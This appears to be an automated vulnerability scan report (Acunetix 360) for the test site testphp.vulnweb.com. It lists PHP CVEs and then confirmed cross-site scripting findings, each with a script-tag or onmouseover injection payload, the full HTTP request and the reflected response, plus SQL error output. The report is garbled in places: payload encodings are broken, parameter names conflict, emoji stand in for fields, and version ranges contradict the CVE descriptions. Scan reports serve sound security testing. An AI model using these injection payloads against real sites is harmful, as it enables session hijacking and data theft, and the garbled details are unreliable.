** Affected Versions

5.3.0 to 7.0.0

** External References

- [CVE-2019-9637](#)

Exploits

** PHP Server-Side Request Forgery (SSRF) Vulnerability

PHP through 7.1.11 enables potential SSRF in applications that accept an fsockopen or pfsockopen hostname argument with an expectation that the port number is constrained. Because a :port syntax is recognized, fsockopen will use the port number that is specified in the hostname argument, instead of the port number in the second argument of the function.

** Affected Versions

5.3.0 to 7.0.0

** External References

- [CVE-2017-7272](#)

Exploits

** PHP Allocation of Resources Without Limits or Throttling Vulnerability

** DISPUTED ** The GNU Multiple Precision Arithmetic Library (GMP) interfaces for PHP through 7.1.4 allow attackers to cause a denial of service (memory consumption and application crash) via operations on long strings. NOTE: the vendor disputes this, stating "There is no security issue here, because GMP safely aborts in case of an OOM condition. The only attack vector here is denial of service. However, if you allow attacker-controlled, unbounded allocations you have a DoS vector regardless of GMP's OOM behavior."

** Affected Versions

5.3.0 to 7.0.0

** External References

- [CVE-2017-7963](#)

Exploits

** PHP Improper Access Control Vulnerability

PHP through 7.0.8 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect applications from the presence of untrusted client data in the HTTP_PROXY environment variable, which might allow remote attackers to redirect an application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, as demonstrated by (1) an application that makes a getenv('HTTP_PROXY') call or (2) a CGI configuration of PHP, aka an "httpoxy" issue.

** Affected Versions

5.3.0 to 7.0.0
Exploits

PHP Uncontrolled Resource Consumption Vulnerability

An issue was discovered in PHP 7.3.x before 7.3.0alpha3, 7.2.x before 7.2.8, and before 7.1.20. The php-fpm master process restarts a child process in an endless loop when using program execution functions (e.g., passthru, exec, shell_exec, or system) with a non-blocking STDIN stream, causing this master process to consume 100% of the CPU, and consume disk space with a large volume of error logs, as demonstrated by an attack by a customer of a shared-hosting facility.

Affected Versions

5.3.0 to 7.0.0

Exploits

Vulnerabilities


Identified Version

- 5.6.40

Latest Version

- 5.6.40 (in this branch)

Overall Latest Version

- 8.0.7

Branch Status

- This branch has stopped receiving updates since 12/31/2018.

Vulnerability Database

- Result is based on 06/04/2021 15:00:00 vulnerability database content.

Certainty

Request

GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*;q=0.8
Accept-Language: en-us, en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
Remedy

Please upgrade your installation of PHP to the latest stable version.

Remedy References

- Downloading PHP

---

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:19:34 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:13:40 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:05:06 AM</td>
</tr>
</tbody>
</table>

---

Remedy References

- Downloading PHP

---

CLASSIFICATION

DISA STIG 6.6.2
Acunetix 360 detected Cross-site Scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user’s credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users’ sessions, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of cross-site scripting, including:

- Hijacking user’s active session.
- Mounting phishing attacks.
- Intercepting data and performing man-in-the-middle attacks.

Vulnerabilities


<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>comment</td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td>Submit</td>
<td>Submit</td>
</tr>
<tr>
<td>POST</td>
<td>phpaction</td>
<td>echo $_POST[comment];</td>
</tr>
<tr>
<td>POST</td>
<td>name</td>
<td>&lt;/title&gt;&lt;script&gt;netsparker(0x108665)&lt;/script&gt;</td>
</tr>
</tbody>
</table>
Request

POST /comment.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/comment.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.8 Safari/537.36
X-Scanner: Acunetix 360

comment=&Submit=Submit&phpaction=echo+$POST[comment];&name=%3c%2ftitle%3e%3cscript%netsparker(0x108665)%3c%2fscript%3e

Response

<table>
<thead>
<tr>
<th>Metric</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Response Time (ms)</td>
<td>187.0652</td>
</tr>
<tr>
<td>Total Bytes Received</td>
<td>220</td>
</tr>
<tr>
<td>Body Length</td>
<td>0</td>
</tr>
<tr>
<td>Is Compressed</td>
<td>No</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:32:10 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>netsparker(0x108665) commented</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body {
    margin-left: 0px;
    margin-top: 0px;
    margin-right: 0px;
    margin-bottom: 0px;
}
-->
</style>
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<p class='story'><title<netsparker(0x108665)</title>, thank you for your comment.</p><p class='story'><i></p></i></body>
</html>
History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:32:20 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:28:14 AM</td>
</tr>
</tbody>
</table>


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>submit</td>
<td>add message</td>
</tr>
<tr>
<td>POST</td>
<td>text</td>
<td><code>&lt;script&gt;netsparker(0x106026)&lt;/script&gt;</code></td>
</tr>
<tr>
<td>POST</td>
<td>name</td>
<td>anonymous user</td>
</tr>
</tbody>
</table>

Request

POST /guestbook.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/guestbook.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

`submit=add+message&text=%3cscript%3enetsparker(0x106026)%3c/script%3e&name=anonymous+user`
Response

Response Time (ms) : 183.4302  Total Bytes Received : 220  Body Length : 0  Is Compressed : No

---
<strong>anonymous user</strong>

06.09.2021, 1:25 pm

<netsparker>(0x106026)</netsparker>

---

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:25:03 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to ! Present</td>
<td>System</td>
<td>5/6/2021 8:11:24 AM</td>
</tr>
</tbody>
</table>


CONFIRMED

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>✨</td>
<td>submit</td>
</tr>
<tr>
<td>POST</td>
<td>✨</td>
<td>text</td>
</tr>
<tr>
<td>POST</td>
<td>✨</td>
<td>name</td>
</tr>
</tbody>
</table>
### Request

POST /guestbook.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/guestbook.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

submit=add+message&text=&name=%3cscript%3ennetsparker(0x106028)%3c%2fscript%3e

### Response

Response Time (ms): 179.8118  Total Bytes Received: 220  Body Length: 0  Is Compressed: No

---

```
<v class="story">
  <table width="100%" cellspacing="4" cellspacing="1">
    <tr><td colspan="2"><h2>Our guestbook</h2></td></tr>
    <tr><td align="left" valign="middle" style="background-color: #F5F5F5">strong><script> netsparker(0x106028)</script></strong></td><td align="right" style="background-color: #F5F5F5">06.09.2021, 1:25 pm</td></tr>
  </table>
</v>
```

### History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan. System 6/9/2021 1:25:06 PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to ! Present System 5/6/2021 8:12:00 AM</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

4.4. http://testphp.vulnweb.com/hpp/?pp=x%22%20onmouseover%3dnetsparker(0x106ED2)%20x%3d%22

**CONFIRMED**
<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>pp</td>
<td>x&quot; onmouseover=netsparker(0x106ED2) x=&quot;</td>
</tr>
</tbody>
</table>

**Proof URL**

http://testphp.vulnweb.com/hpp/?pp=x%22%20onmouseover%3Dalert(0x106ED2)%20x%3D%22

**Request**

GET /hpp/?pp=x%22%20onmouseover%3Dnetsparker(0x106ED2)%20x%3D%22 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/hpp/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

**Response**

<table>
<thead>
<tr>
<th>Response Time (ms)</th>
<th>Total Bytes Received</th>
<th>Body Length</th>
<th>Is Compressed</th>
</tr>
</thead>
<tbody>
<tr>
<td>181.8073</td>
<td>220</td>
<td>0</td>
<td>No</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:28:01 GMT

<title>HTTP Parameter Pollution Example</title>

<a href="?pp=12">check</a>
<br/>
<a href="params.php?p=valid&pp=x%22+onmouseover=netsparker(0x106ED2)+x%3D%22">link1</a>
<br/>
<a href="params.php?p=valid&pp=x" onmouseover=netsparker(0x106ED2) x="">link2</a>
<br/>
<form action="par
ms.php?p=valid&pp=x" onmouseover=netsparker(0x106ED2) x="" input type=submit name=aaaa"></form>
<br/>
<br/>
<a href='http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html'>Original article</a>

**History**
The Issue was detected during the **Scan**. The State was set to **Present**.

**4.5.** [http://testphp.vulnweb.com/hpp/params.php?aaaa%2f=&p=%3cscRipt%3enetsparker(0x107E91)%3c%2fscRipt%3e&amp;pp=12](http://testphp.vulnweb.com/hpp/params.php?aaaa%2f=&p=%3cscRipt%3ealert(0x107E91)%3c%2fscRipt%3e&amp;pp=12)

**CONFIRMED**

### Method | Parameter | Value
--- | --- | ---
| GET | p | `<scRipt>netsparker(0x107E91)</scRipt>`
| GET | pp | 12
| GET | aaaa%2f |

**Proof URL**

[http://testphp.vulnweb.com/hpp/params.php?aaaa%2f=&p=%3cscRipt%3ealert(0x107E91)%3c%2fscRipt%3e&amp;pp=12](http://testphp.vulnweb.com/hpp/params.php?aaaa%2f=&p=%3cscRipt%3ealert(0x107E91)%3c%2fscRipt%3e&amp;pp=12)

### Request

```
GET /hpp/params.php?aaaa%2f=&p=%3cscRipt%3ealert(0x107E91)%3c%2fscRipt%3e&amp;pp=12 HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/hpp/?pp=12
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
```
Response

Response Time (ms) : 178.9669  Total Bytes Received : 220  Body Length : 0  Is Compressed : No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:29:55 GMT

<scRipt>netsparker(0x107E91)</scRipt>12

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:29:58 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:20:48 AM</td>
</tr>
</tbody>
</table>


CONFIRMED

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>p</td>
<td>valid</td>
</tr>
<tr>
<td>GET</td>
<td>pp</td>
<td>&lt;scRipt&gt;netsparker(0x107FBD)&lt;/scRipt&gt;</td>
</tr>
<tr>
<td>GET</td>
<td>aaaa%2f</td>
<td></td>
</tr>
</tbody>
</table>

Proof URL

http://testphp.vulnweb.com/hpp/params.php?aaaa%2f=&p=valid&pp=%3cscRipt%3ealert(0x107FBD)%3c%2fscRipt%3e
Request
GET /hpp/params.php?aaaa%2f=&p=valid&pp=%3cscRipt%3enetsparker(0x107FBD)%3c%2fscRipt%3e HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/hpp/?pp=12
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.8 Safari/537.36
X-Scanner: Acunetix 360

Response
Response Time (ms): 189.1571  Total Bytes Received: 220  Body Length: 0  Is Compressed: No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:29:58 GMT
valid<scRipt>netsparker(0x107FBD)</scRipt>

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:30:02 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:21:13 AM</td>
</tr>
</tbody>
</table>

4.7. http://testphp.vulnweb.com/listproducts.php?artist=%3cscRipt%3enetsparker(0x106C07)%3c%2fscRipt%3e
CONFIRMED

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
</table>
Method | Parameter | Value
--- | --- | ---
GET | artist | `<script>netsparker(0x106C07)</script>`

Proof URL

http://testphp.vulnweb.com/listproducts.php?artist=%3cscript%3ealert(0x106C07)%3c%2fscript%3e

Request

GET /listproducts.php?artist=%3cscript%3enetsparker(0x106C07)%3c%2fscript%3e HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

Response

Response Time (ms): 180.7027  Total Bytes Received: 220  Body Length: 0  Is Compressed: No

```html
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '``<script>netsparker(0x106C07)</script>'' at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74
```

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan</td>
<td>System</td>
<td>6/9/2021 1:27:50 PM</td>
</tr>
</tbody>
</table>
The Issue was detected during the Scan. The State was set to Present.

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>cat</td>
<td><code>&lt;script&gt;nparker(0x105C3E)&lt;/script&gt;</code></td>
</tr>
</tbody>
</table>

**Proof URL**

http://testphp.vulnweb.com/listproducts.php?cat=%3cscRipt%3enetsparker(0x105C3E)%3c%fscRipt%3e

**CONFIRMED**

**Request**

GET /listproducts.php?cat=%3cscRipt%3enetsparker(0x105C3E)%3c%fscRipt%3e HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: login=test%2Ftest
Referer: http://testphp.vulnweb.com/categories.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360
---

BeginEditable name="content_rgn" -->

```xml
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '=<scRipt>netsparker(0x105C3E)</scRipt>' at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74
```

<!-- InstanceEndEditable -->

<!--end content -->

<br/>

---

### History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the <strong>Scan</strong>.</td>
<td>System</td>
<td>6/9/2021 1:23:52 PM</td>
</tr>
<tr>
<td>The Issue was detected during the <strong>Scan</strong>. The State was set to <strong>Present</strong>.</td>
<td>System</td>
<td>5/6/2021 8:09:19 AM</td>
</tr>
</tbody>
</table>

---


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>goButton</td>
<td>go</td>
</tr>
<tr>
<td>POST</td>
<td>searchFor</td>
<td><code>&lt;scRipt&gt;netsparker(0x104D45)&lt;/scRipt&gt;</code></td>
</tr>
<tr>
<td>POST</td>
<td>test</td>
<td>query</td>
</tr>
</tbody>
</table>
Request

POST /search.php?test=query HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
X-Scanner: Acunetix 360
goButton=go&searchFor=%3cscript%3enenetsparker(0x104D45)%3c%2fscript%3e

Response

Response Time (ms) : 181.6992  Total Bytes Received : 220  Body Length : 0  Is Compressed : No

ut test</a>  </td>
</tr></table>
</div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
<h2 id="pageName">searched for: <script>netsparker(0x104D45)</script></h2>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
<form action="search.php?test=query" method="post">
<label>search art</label>
<i>....</i>
</form>
</div>

History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:21:58 PM</td>
</tr>
</tbody>
</table>
The Issue was detected during the **Scan**. The State was set to **Present**

---


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>upass2</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>username</td>
<td>'&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x106474)&lt;/script&gt;netsparker(0x106474)&lt;/script&gt;</td>
</tr>
<tr>
<td>POST</td>
<td>signup</td>
<td>signup</td>
</tr>
<tr>
<td>POST</td>
<td>uuname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>upass</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uaddress</td>
<td>3</td>
</tr>
<tr>
<td>POST</td>
<td>ucc</td>
<td>4916613944329494</td>
</tr>
<tr>
<td>POST</td>
<td>uemail</td>
<td><a href="mailto:invicti@example.com">invicti@example.com</a></td>
</tr>
<tr>
<td>POST</td>
<td>uphone</td>
<td>3</td>
</tr>
</tbody>
</table>
Request

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 198
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
X-Scanner: Acunetix 360

upass2=Inv1@cti&urname="--></style></script>netsparker(0x106474)</script>&signup=signup&uname=Smith&upass=Inv1@cti&uaddress=3&ucc=4916613944329494&uemail=invicti@example.com&uphone=3

Response

Response Time (ms) : 180.0707 Total Bytes Received : 220 Body Length : 0 Is Compressed : No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:25:52 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>add new user</title>
<meta content="text/html; charset=iso-8859-1" http-equiv="Content-Type"/>
<link rel="stylesheet" title="" type="text/css" href="style.css"/>
</head>
<body>
<div id="masthead">
<h1 id="siteName">ACUNETIX ART</h1>
</div>
<div id="content">
<p>You have been introduced to our database with the above informations:
<ul>
<li>Username: Smith</li>
<li>Password: Inv1@cti</li>
<li>Name: "--></script>netsparker(0x106474)</script></li>
<li>Address: 3</li>
<li>E-Mail: invicti@example.com</li>
<li>Phone number: 3</li>
<li>Credit card: 4916613944329494</li>
</ul>
Now you can login from <a href="http://testphp.vulnweb.com/login.php">here</a>.</p>
</div>
</body>
</html>

**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>upass2</td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td>upass</td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td>uname</td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td>signup</td>
<td>signup</td>
</tr>
<tr>
<td>POST</td>
<td>uuname</td>
<td><code>&lt;script&gt;netsparker(0x1064E3)&lt;/script&gt;</code></td>
</tr>
<tr>
<td>POST</td>
<td>uaddress</td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td>ucc</td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td>uemail</td>
<td></td>
</tr>
<tr>
<td>POST</td>
<td>uphone</td>
<td></td>
</tr>
</tbody>
</table>
Request

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 122
Content-Type: application/x-www-form-urlencoded
Cookie: login=test%2Ftest
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
X-Scanner: Acunetix 360

upass2=&&urname=&&signup=signup&uuname=%3Cscript%3Enetsparker(0x1064E3)%3C%2fscript%3e&upass=&uaddress=&ucc=&uemail=&uphone=

Response

Response Time (ms): 181.5659  Total Bytes Received: 220  Body Length: 0  Is Compressed: No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 09 Jun 2021 13:26:24 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>add new user</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
</div>
<div id="content">
  You have been introduced to our database with the above informations:
  <ul>
    <li>Username: <script>netsparker(0x1064E3)</script></li>
    <li>Password: </li>
    <li>Name: </li>
    <li>Address: </li>
    <li>E-Mail: </li>
    <li>Phone number: </li>
    <li>Credit card: </li>
  </ul>
</div>
</body>
</html>
## History

<table>
<thead>
<tr>
<th>Message</th>
<th>Owner</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Issue was detected during the Scan.</td>
<td>System</td>
<td>6/9/2021 1:26:26 PM</td>
</tr>
<tr>
<td>The Issue was detected during the Scan. The State was set to Present.</td>
<td>System</td>
<td>5/6/2021 8:23:09 AM</td>
</tr>
</tbody>
</table>


**CONFIRMED**

<table>
<thead>
<tr>
<th>Method</th>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>upass2</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>signup</td>
<td>signup</td>
</tr>
<tr>
<td>POST</td>
<td>uuname</td>
<td>Smith</td>
</tr>
<tr>
<td>POST</td>
<td>upass</td>
<td>Inv1@cti</td>
</tr>
<tr>
<td>POST</td>
<td>uaddress</td>
<td>'&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x1066D5)&lt;!--&lt;/script&gt;</td>
</tr>
<tr>
<td>POST</td>
<td>ucc</td>
<td>4916613944329494</td>
</tr>
<tr>
<td>POST</td>
<td>uemail</td>
<td><a href="mailto:invicti@example.com">invicti@example.com</a></td>
</tr>
<tr>
<td>POST</td>
<td>uphone</td>
<td>3</td>
</tr>
</tbody>
</table>
Request

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 202
Content-Type: application/x-www-form-urlencoded
Cookie: login=test/test
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.83 Safari/537.36
X-Scanner: Acunetix 360

upass2=Inv140cti&urname=Smith&signup=signup&uname=Smith&upass=Inv1%40cti&uaddress='--></style></script>netsparker(0x1066D5)</script>&ucc=4916613944329494&uemail=invicti%40example.com&uphone =3

Response

Response Time (ms): 182.84    Total Bytes Received: 220    Body Length: 0    Is Compressed: No

HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
